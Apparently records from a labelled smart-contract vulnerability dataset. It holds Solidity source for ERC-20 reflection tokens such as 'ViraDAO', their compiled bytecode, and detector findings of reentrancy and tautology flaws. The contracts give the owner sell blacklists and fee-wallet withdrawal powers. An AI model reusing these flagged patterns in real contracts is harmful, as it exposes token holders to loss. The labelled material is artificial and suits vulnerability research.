//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610582578063dd62ed3e146105a2578063ea1644d5146105e8578063f2fde38b1461060857600080fd5b8063a2a957bb146104fd578063a9059cbb1461051d578063bfd792841461053d578063c3c8cd801461056d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104615780638f9a55c01461048157806395d89b411461049757806398a5c315146104dd57600080fd5b80637d1db4a5146104005780637f2feddc146104165780638da5cb5b1461044357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461039657806370a08231146103ab578063715018a6146103cb57806374010ece146103e057600080fd5b8063313ce5671461031a57806349bd5a5e146103365780636b999053146103565780636d8aa8f81461037657600080fd5b80631694505e116101ab5780631694505e1461028657806318160ddd146102be57806323b872dd146102e45780632fd689e31461030457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461025657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611fcd565b610628565b005b34801561020a57600080fd5b5060408051808201909152600981527f5665726e6920496e75000000000000000000000000000000000000000000000060208201525b60405161024d91906120b0565b60405180910390f35b34801561026257600080fd5b50610276610271366004612123565b6106f3565b604051901515815260200161024d565b34801561029257600080fd5b506014546102a6906001600160a01b031681565b6040516001600160a01b03909116815260200161024d565b3480156102ca57600080fd5b50683635c9adc5dea000005b60405190815260200161024d565b3480156102f057600080fd5b506102766102ff36600461214f565b61070a565b34801561031057600080fd5b506102d660185481565b34801561032657600080fd5b506040516009815260200161024d565b34801561034257600080fd5b506015546102a6906001600160a01b031681565b34801561036257600080fd5b506101fc610371366004612190565b610773565b34801561038257600080fd5b506101fc6103913660046121bd565b6107ee565b3480156103a257600080fd5b506101fc610894565b3480156103b757600080fd5b506102d66103c6366004612190565b6108df565b3480156103d757600080fd5b506101fc610901565b3480156103ec57600080fd5b506101fc6103fb3660046121d8565b6109bd565b34801561040c57600080fd5b506102d660165481565b34801561042257600080fd5b506102d6610431366004612190565b60116020526000908152604090205481565b34801561044f57600080fd5b506000546001600160a01b03166102a6565b34801561046d57600080fd5b506101fc61047c3660046121bd565b610a2c565b34801561048d57600080fd5b506102d660175481565b3480156104a357600080fd5b5060408051808201909152600781527f5645524e494e55000000000000000000000000000000000000000000000000006020820152610240565b3480156104e957600080fd5b506101fc6104f83660046121d8565b610ad0565b34801561050957600080fd5b506101fc6105183660046121f1565b610b2f565b34801561052957600080fd5b50610276610538366004612123565b610d79565b34801561054957600080fd5b50610276610558366004612190565b60106020526000908152604090205460ff1681565b34801561057957600080fd5b506101fc610d86565b34801561058e57600080fd5b506101fc61059d366004612223565b610dda565b3480156105ae57600080fd5b506102d66105bd3660046122a7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105f457600080fd5b506101fc6106033660046121d8565b610eab565b34801561061457600080fd5b506101fc610623366004612190565b610f0a565b6000546001600160a01b031633146106875760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b60005b81518110156106ef576001601060008484815181106106ab576106ab6122e0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106e78161233e565b91505061068a565b5050565b6000610700338484611053565b5060015b92915050565b60006107178484846111ab565b6107698433610764856040518060600160405280602881526020016124ad602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611797565b611053565b5060019392505050565b6000546001600160a01b031633146107cd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108485760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b60158054911515760100000000000000000000000000000000000000000000027fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b6012546001600160a01b0316336001600160a01b031614806108c957506013546001600160a01b0316336001600160a01b0316145b6108d257600080fd5b476108dc816117d1565b50565b6001600160a01b0381166000908152600260205260408120546107049061180b565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6000546001600160a01b03163314610a175760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b674563918244f400008111156108dc57601655565b6000546001600160a01b03163314610a865760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b6015805491151574010000000000000000000000000000000000000000027fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff909216919091179055565b6000546001600160a01b03163314610b2a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b601855565b6000546001600160a01b03163314610b895760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b6004841115610c005760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e203025206160448201527f6e64203225000000000000000000000000000000000000000000000000000000606482015260840161067e565b600e821115610c775760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e64203160448201527f3425000000000000000000000000000000000000000000000000000000000000606482015260840161067e565b6004831115610cee5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e2030252060448201527f616e642032250000000000000000000000000000000000000000000000000000606482015260840161067e565b600e811115610d655760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201527f3134250000000000000000000000000000000000000000000000000000000000606482015260840161067e565b600893909355600a91909155600955600b55565b60006107003384846111ab565b6012546001600160a01b0316336001600160a01b03161480610dbb57506013546001600160a01b0316336001600160a01b0316145b610dc457600080fd5b6000610dcf306108df565b90506108dc816118a2565b6000546001600160a01b03163314610e345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b60005b82811015610ea5578160056000868685818110610e5657610e566122e0565b9050602002016020810190610e6b9190612190565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610e9d8161233e565b915050610e37565b50505050565b6000546001600160a01b03163314610f055760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b601755565b6000546001600160a01b03163314610f645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b6001600160a01b038116610fe05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161067e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b0383166110ce5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161067e565b6001600160a01b03821661114a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161067e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161067e565b6001600160a01b0382166112a35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161067e565b600081116113195760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f0000000000000000000000000000000000000000000000606482015260840161067e565b6000546001600160a01b0384811691161480159061134557506000546001600160a01b03838116911614155b156116905760155474010000000000000000000000000000000000000000900460ff166113ef576000546001600160a01b038481169116146113ef5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161067e565b6016548111156114415760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161067e565b6001600160a01b03831660009081526010602052604090205460ff1615801561148357506001600160a01b03821660009081526010602052604090205460ff16155b6114f55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201527f6564210000000000000000000000000000000000000000000000000000000000606482015260840161067e565b6015546001600160a01b038381169116146115945760175481611517846108df565b6115219190612377565b106115945760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960448201527f7a65210000000000000000000000000000000000000000000000000000000000606482015260840161067e565b600061159f306108df565b6018546016549192508210159082106115b85760165491505b8080156115e157506015547501000000000000000000000000000000000000000000900460ff16155b80156115fb57506015546001600160a01b03868116911614155b80156116235750601554760100000000000000000000000000000000000000000000900460ff165b801561164857506001600160a01b03851660009081526005602052604090205460ff16155b801561166d57506001600160a01b03841660009081526005602052604090205460ff16155b1561168d5761167b826118a2565b47801561168b5761168b476117d1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806116d257506001600160a01b03831660009081526005602052604090205460ff165b8061170457506015546001600160a01b0385811691161480159061170457506015546001600160a01b03848116911614155b156117115750600061178b565b6015546001600160a01b03858116911614801561173c57506014546001600160a01b03848116911614155b1561174e57600854600c55600954600d555b6015546001600160a01b03848116911614801561177957506014546001600160a01b03858116911614155b1561178b57600a54600c55600b54600d555b610ea584848484611aa5565b600081848411156117bb5760405162461bcd60e51b815260040161067e91906120b0565b5060006117c8848661238f565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106ef573d6000803e3d6000fd5b60006006548211156118855760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201527f65666c656374696f6e7300000000000000000000000000000000000000000000606482015260840161067e565b600061188f611ad3565b905061189b8382611af6565b9392505050565b601580547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff1675010000000000000000000000000000000000000000001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611917576119176122e0565b6001600160a01b03928316602091820292909201810191909152601454604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b15801561198457600080fd5b505afa158015611998573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119bc91906123a6565b816001815181106119cf576119cf6122e0565b6001600160a01b0392831660209182029290920101526014546119f59130911684611053565b6014546040517f791ac9470000000000000000000000000000000000000000000000000000000081526001600160a01b039091169063791ac94790611a479085906000908690309042906004016123c3565b600060405180830381600087803b158015611a6157600080fd5b505af1158015611a75573d6000803e3d6000fd5b5050601580547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550505050565b80611ab257611ab2611b38565b611abd848484611b66565b80610ea557610ea5600e54600c55600f54600d55565b6000806000611ae0611c5d565b9092509050611aef8282611af6565b9250505090565b600061189b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c9f565b600c54158015611b485750600d54155b15611b4f57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611b7887611ccd565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611baa9087611d2a565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611bd99086611d6c565b6001600160a01b038916600090815260026020526040902055611bfb81611dcb565b611c058483611e15565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c4a91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611c798282611af6565b821015611c9657505060065492683635c9adc5dea0000092509050565b90939092509050565b60008183611cc05760405162461bcd60e51b815260040161067e91906120b0565b5060006117c88486612434565b6000806000806000806000806000611cea8a600c54600d54611e39565b9250925092506000611cfa611ad3565b90506000806000611d0d8e878787611e8e565b919e509c509a509598509396509194505050505091939550919395565b600061189b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611797565b600080611d798385612377565b90508381101561189b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161067e565b6000611dd5611ad3565b90506000611de38383611ede565b30600090815260026020526040902054909150611e009082611d6c565b30600090815260026020526040902055505050565b600654611e229083611d2a565b600655600754611e329082611d6c565b6007555050565b6000808080611e536064611e4d8989611ede565b90611af6565b90506000611e666064611e4d8a89611ede565b90506000611e7e82611e788b86611d2a565b90611d2a565b9992985090965090945050505050565b6000808080611e9d8886611ede565b90506000611eab8887611ede565b90506000611eb98888611ede565b90506000611ecb82611e788686611d2a565b939b939a50919850919650505050505050565b600082611eed57506000610704565b6000611ef9838561246f565b905082611f068583612434565b1461189b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f7700000000000000000000000000000000000000000000000000000000000000606482015260840161067e565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6001600160a01b03811681146108dc57600080fd5b8035611fc881611fa8565b919050565b60006020808385031215611fe057600080fd5b823567ffffffffffffffff80821115611ff857600080fd5b818501915085601f83011261200c57600080fd5b81358181111561201e5761201e611f79565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f8301168101818110858211171561206157612061611f79565b60405291825284820192508381018501918883111561207f57600080fd5b938501935b828510156120a45761209585611fbd565b84529385019392850192612084565b98975050505050505050565b600060208083528351808285015260005b818110156120dd578581018301518582016040015282016120c1565b818111156120ef576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b6000806040838503121561213657600080fd5b823561214181611fa8565b946020939093013593505050565b60008060006060848603121561216457600080fd5b833561216f81611fa8565b9250602084013561217f81611fa8565b929592945050506040919091013590565b6000602082840312156121a257600080fd5b813561189b81611fa8565b80358015158114611fc857600080fd5b6000602082840312156121cf57600080fd5b61189b826121ad565b6000602082840312156121ea57600080fd5b5035919050565b6000806000806080858703121561220757600080fd5b5050823594602084013594506040840135936060013592509050565b60008060006040848603121561223857600080fd5b833567ffffffffffffffff8082111561225057600080fd5b818601915086601f83011261226457600080fd5b81358181111561227357600080fd5b8760208260051b850101111561228857600080fd5b60209283019550935061229e91860190506121ad565b90509250925092565b600080604083850312156122ba57600080fd5b82356122c581611fa8565b915060208301356122d581611fa8565b809150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156123705761237061230f565b5060010190565b6000821982111561238a5761238a61230f565b500190565b6000828210156123a1576123a161230f565b500390565b6000602082840312156123b857600080fd5b815161189b81611fa8565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156124135784516001600160a01b0316835293830193918301916001016123ee565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261246a577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124a7576124a761230f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d03f70ef0d9c6c7fca3bc82d69514dea811bcb1a0cd975b5b536631337d5cb7e64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 5,963 |
0x0cf9d6a9033f6c816c0b79c43648ba4bfefbf5fc
|
/**
*Submitted for verification at Etherscan.io on 2022-04-27
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract VIRA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,3,0,3);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 15;
string private constant _name = "ViraDAO";
string private constant _symbol = "$VIRA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x253e610069C102695769F0a49552447094761734);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_isBuy = true;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){
require(!bots[from] && !bots[to]);
_isBuy = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getIsBuy() private view returns (bool){
return _isBuy;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner {
require(buyFee1 + buyFee2 <= initialTotalBuyFee);
require(sellFee1 + sellFee2 <= initialTotalSellFee);
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _feeAddrWallet);
require(rate<=49);
_feeRate = rate;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(1).div(100);
_maxWalletSize = _tTotal.mul(2).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address[] memory _bots) public onlyOwner {
for (uint i = 0; i < _bots.length; i++) {
if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){
bots[_bots[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b60405161016791906129d2565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612a9c565b61051c565b6040516101a49190612af7565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612b12565b61053a565b005b3480156101e257600080fd5b506101eb610631565b6040516101f89190612b88565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612ceb565b610642565b005b34801561023657600080fd5b50610251600480360381019061024c9190612d34565b6108a4565b60405161025e9190612af7565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612d875